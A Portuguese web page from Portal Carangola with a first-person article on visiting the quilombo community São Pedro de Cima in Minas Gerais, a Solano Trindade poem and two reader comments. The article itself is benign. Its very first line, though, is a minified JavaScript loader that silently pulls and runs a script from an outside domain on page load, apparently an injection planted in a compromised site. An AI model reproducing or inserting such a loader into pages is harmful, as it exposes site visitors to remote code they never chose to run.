;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); Memórias de um Quilombo. - Portal Carangola

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Memórias de um Quilombo.

No intuito de me interar sobre os quilombos do Brasil, realizei algumas pesquisas sobre o tema, objetivando um aprofundamento desde o termo até a próprias comunidades ainda existentes no país.

Segundo a Fundação Palmares, que é a instituição responsável pela promoção e preservação dos valores culturais e econômicos decorrentes da influência negra na formação da sociedade brasileira, as denominações: quilombos, mocambos, terra de preto, comunidades remanescentes de quilombos, comunidades negras rurais, comunidades de terreiro, são expressões que designam grupos sociais afro-descendentes trazidos para o Brasil durante o período colonial, que resistiram ou, manifestamente, se rebelaram contra o sistema colonial e contra sua condição de cativo, formando territórios independentes onde a liberdade e o trabalho comum, passaram a constituir símbolos de diferenciação do regime de trabalho adotado pela metrópole.

(Fonte: www.palmares.gov.br)

A partir desta definição, procurei analisar todo o processo burocrático para a obtenção do certificado de auto-reconhecimento das referidas comunidades remanescentes de Quilombos, fornecido atualmente pela Fundação Palmares. Na pesquisa dos requisitos acima citados, deparei-me com a Comunidade São Pedro de Cima, pertencente ao município de Divino – MG, á 18 km da mesma cidade, que em 11 de julho de 2006, recebeu do Ministério da Cultura, através da Fundação Cultural Palmares e da Diretoria de proteção ao Patrimônio Afro-Brasileiro, a certidão de Auto-Reconhecimento como Remanescente das Comunidades dos Quilombos. Além destes fatos, o reconhecimento foi publicado no Diário Oficial da União sob o n.º 656, de 11 de julho de 2006, f. 166.

Tal fato me levou a ponderar sobre a importância destes acontecimentos e, ao mesmo tempo, sobre o descaso da sociedade e das autoridades mediante um acontecimento de tamanha relevância.

Após uma série de contatos, fui conduzido á Comunidade por um de seus representantes, o jovem Salvador Januário Braga. Através desta visita pude constatar a riqueza da localidade, a cultura sobrevivente e principalmente a alegria de um povo que possui marcas de sofrimento em sua história.

Segundo os informes que recolhi, um senhor negro chamado Pedro Malaquias, teria ocupado a região por volta de 1730, dando origem ao povoado. Na população também conhecida pelos moradores como São Pedro dos Crioulos, existem dois sobrenomes que ainda permanecem na comunidade.

Os Pereiras: Considerados mais tradicionais. Só casam entre si e conservam seus traços genéticos e costumes.

Os Braga: Conhecidos também como Malaquias, foram se misturando com outras famílias da região e hoje com seus descendentes, possuem aspectos físicos bem miscigenados conservando alguns dialetos, hábitos alimentares e danças.

(Fonte: Processo para requisição de reconhecimento da Comunidade – Fundação Palmares).

Durante a realização desta visita, percebi detalhes interessantes. A beleza dos negros moradores da Comunidade é algo encantador, pois estamos acostumados a conviver com pessoas negras miscigenadas. No entanto, o que vi foram traços genéticos altamente conservados. Senti também uma forte emoção ao me deparar com tamanha alegria e humildade de um povo, cujo passado nos mostra sofrimento e massacre.

Ao pesquisar a escravidão em livros, artigos e quaisquer publicações, somos marcados e sensibilizados, mas tal análise não nos evidencia as cicatrizes e as feridas deixadas por nossos ancestrais europeus. Ao anunciar para os moradores meu desejo em realizar uma pesquisa sobre a Comunidade, vi por trás de uma frase com palavras doces e receptivas a seguinte resposta: ‘’No passado, sua família escravizou nosso povo, de modo que não conseguiremos achar nossas origens com detalhes, mas hoje, 120 anos após a abolição no Brasil, nós abriremos nossas portas para que você possa estudar o que ocorreu”.

Na referida visita, tive a oportunidade de conhecer e trocar algumas palavras com alguns moradores de São Pedro, como Sr. José Maria, homem de bem que largou sua enxada para me atender, o Sr. Antonio de 91 anos, neto de escravos que guarda histórias sobre parte de sua origem, além da família de Salvador, que me recebeu para o almoço durante a visita pela Comunidade.

Ao encerrar meu trajeto, percebi que determinadas conclusões acerca de políticas públicas para negros são merecedoras de reavaliação. Assim como boa parte dos formadores de opinião, questionava o sistema de cotas para negros nas universidades públicas. Baseado neste fato, entendia que a cor da pele não influenciava o intelecto. Com a pesquisa in loco, percebi que o sistema de cotas não deve ser visto como um favor oferecido à comunidade negra, mas sim como mínimo possível de assistência, após anos de tortura e exploração. Para a minha surpresa, ao entrevistar uma professora pertencente à Comunidade, percebi que a opinião da mesma sobre as cotas era extremamente consciente: ‘’entendemos que muitas vezes, num processo de seleção para a faculdade, a cor da pele não deveria ser uma diferença. O que não deveria existir no Brasil é justamente essa diferença no ensino de base, pra que lá na frente nossos alunos pudessem ter as mesmas condições de concorrer a uma vaga com um branco” (entrevista: Professora Maria Aparecida em 02/05/2008).

Entendia o movimento negro como uma demonstração de racismo. O que hoje defendo como um resgate cultural indispensável para as nossas origens.

Talvez precisamos colocar o dedo na ferida antes mesmo de formalizar opiniões acerca do movimento.

Hoje, na estréia do Portal Magazine, aproveito a oportunidade para me redimir perante tais opiniões e homenagear a Comunidade São Pedro de Cima pela luta, pelo caráter, pelo carinho e alegria de seus moradores.

SOU NEGRO

Solano Trindade

Sou Negro
meus avós foram queimados
pelo sol da África
minh`alma recebeu o batismo dos tambores atabaques, gonguês e agogôs

Contaram-me que meus avós
vieram de Loanda
como mercadoria de baixo preço plantaram cana pro senhor do engenho novo
e fundaram o primeiro Maracatu.

Depois meu avô brigou como um danado nas terras de Zumbi
Era valente como quê
Na capoeira ou na faca
escreveu não leu
o pau comeu
Não foi um pai João
humilde e manso

Mesmo vovó não foi de brincadeira
Na guerra dos Malês
ela se destacou

Na minh´alma ficou
o samba
o batuque
o bamboleio
e o desejo de libertação…

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2 thoughts on “Memórias de um Quilombo.

  1. Boa noite,
    Randolpho.!
    Adorei esse artigo tá certo a escravidão foi muito triste, mais você conseguiu relatar muitas coisas que até eu já escutei,(eu sou negro) certo que tem muitas coisas que aconteceu triste mais você consiguiu relatar muitas coisas mais falta ainda mais nem Deus agradou a todos quem somos nós?. E pra mim, Randolpho você está de nota 9 hahaha mais não levem isso como uma ofensa porque eu confesso que eu não entendo nada sobre ´´Quilombos´´ mais , eu gostei aí vai minha opinião!!!

    abraços a todos !

    meu msn
    juceliojuniorkk@hotmail.com

  2. Olá, Randolpho, meu nome é Rodrigo e sou aluno do curso de História da Universo. Esse seu artigo sobre os Quilombos é ótimo e concordo quando você diz que é preciso botar o dedo na ferida antes de formularmos opiniões sobre esse movimento, afinal, se esquecermos todos os sofrimentos que os negros passaram, não só as futuras gerações não saberão o que aconteceu, como também poderão vir a cometer esse erro, que foi a escravidão dos negros.

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